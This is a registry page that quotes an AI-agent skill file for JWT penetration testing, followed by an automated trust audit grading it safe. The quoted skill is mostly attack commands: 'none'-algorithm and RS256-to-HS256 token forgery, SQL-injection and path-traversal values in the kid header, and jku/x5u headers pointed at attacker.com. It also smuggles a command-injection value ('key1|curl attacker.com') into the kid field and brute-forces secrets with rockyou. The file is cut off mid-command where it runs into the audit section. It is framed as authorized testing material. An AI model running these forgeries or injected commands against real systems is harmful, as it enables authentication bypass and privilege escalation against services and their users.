Testing For Json Web Token VulnerabilitiesSAFE
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Overview
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
6c59587be632OBSERVED · 2026-10-07Install
Commands as the repository documents them. They are shown, not run.
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
---
name: testing-for-json-web-token-vulnerabilities
description: Tests JWT implementations for algorithm confusion, "none" algorithm bypass,
kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's
JWT Editor extension, aiming to achieve authentication bypass and privilege escalation.
Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or
SSO systems during a security engagement.
domain: cybersecurity
subdomain: web-application-security
tags:
- jwt
- json-web-token
- algorithm-confusion
- authentication-bypass
- token-forgery
- kid-injection
- jku-attack
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1068
---
# Testing for JSON Web Token Vulnerabilities
## When to Use
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities
## Prerequisites
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
## Workflow
### Step 1 — Decode and Analyze JWT Structure
```bash
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
```
### Step 2 — Test "None" Algorithm Bypass
```bash
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
```
### Step 3 — Test Algorithm Confusion (RS256 to HS256)
```bash
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
```
### Step 4 — Test Key ID (kid) Parameter Injection
```bash
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
```
### Step 5 — Test JKU/X5U Header Injection
```bash
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
```
### Step 6 — Brute-Force Weak JWT Secrets
```bash
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKETrust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (1 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (1)
"../../dev/null",
Gates applied: no_behavioural_pass.
6c59587be632full audit observations/trust-audit/skill/mukul975__testing-for-json-web-token-vulnerabilities.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-07 | 6c59587be632 | SAFE | B | 89 | first audit |
Questions
What does the Testing For Json Web Token Vulnerabilities skill do?
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Is Testing For Json Web Token Vulnerabilities safe to install?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.
What can Testing For Json Web Token Vulnerabilities access on my machine?
The audit observed that it reaches the network and reads or writes files. Each of those is consistent with what it says it does. Secrets in the source: none found.
How current is this page?
The grade is for one exact copy of the source (6c59587be632), read on 2026-10-07. The repository is watched, and a new audit runs when it changes — this is the first audit.